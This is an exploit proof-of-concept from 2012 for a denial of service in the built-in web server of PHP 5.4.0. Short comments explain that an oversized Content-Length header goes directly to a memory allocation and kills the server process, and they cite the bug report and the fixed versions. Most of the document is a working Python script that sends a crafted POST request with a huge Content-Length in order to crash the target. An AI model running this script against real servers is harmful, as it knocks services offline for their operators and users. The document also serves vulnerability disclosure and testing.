PHP 5.4.0 Denial Of Service

`#!/usr/bin/python  
  
# Title: PHP 5.4.0 Built-in Web Server DoS PoC  
# Date: 16 March 2012  
# Author: ls ([email protected])  
# Reference: https://bugs.php.net/bug.php?id=61461  
# Comments: Fixed in PHP 5.4.1RC1-DEV and 5.5.0-DEV  
  
# The value of the Content-Length header is passed directly to a pemalloc() call in sapi/cli/php_cli_server.c  
# on line 1538. The inline function defined within Zend/zend_alloc.h for malloc() will fail, and will terminate  
# the process with the error message "Out of memory".  
#  
# 1537 if (!client->request.content) {  
# 1538 client->request.content = pemalloc(parser->content_length, 1);  
# 1539 client->request.content_len = 0;  
# 1540 }  
#  
# PHP 5.4.0 Development Server started at Tue Mar 13 19:41:45 2012  
# Listening on 127.0.0.1:80  
# Document root is /tmp  
# Press Ctrl-C to quit.  
# Out of memory  
  
import socket, sys  
  
target = "127.0.0.1"  
port = 80;  
  
request = "POST / HTTP/1.1\n"  
request += "Content-Type: application/x-www-form-urlencoded\n"  
request += "Content-Length: 2147483638\n\n" # <-- Choose size larger than the available memory on target  
request += "A=B\n\n"  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
try:  
s.connect((target, port))  
except:  
print "[-] Connection to %s:%s failed!" % (target, port)  
sys.exit(0)  
  
print "[+] Sending HTTP request. Check for crash on target."  
  
s.send(request)  
s.close()  
  
`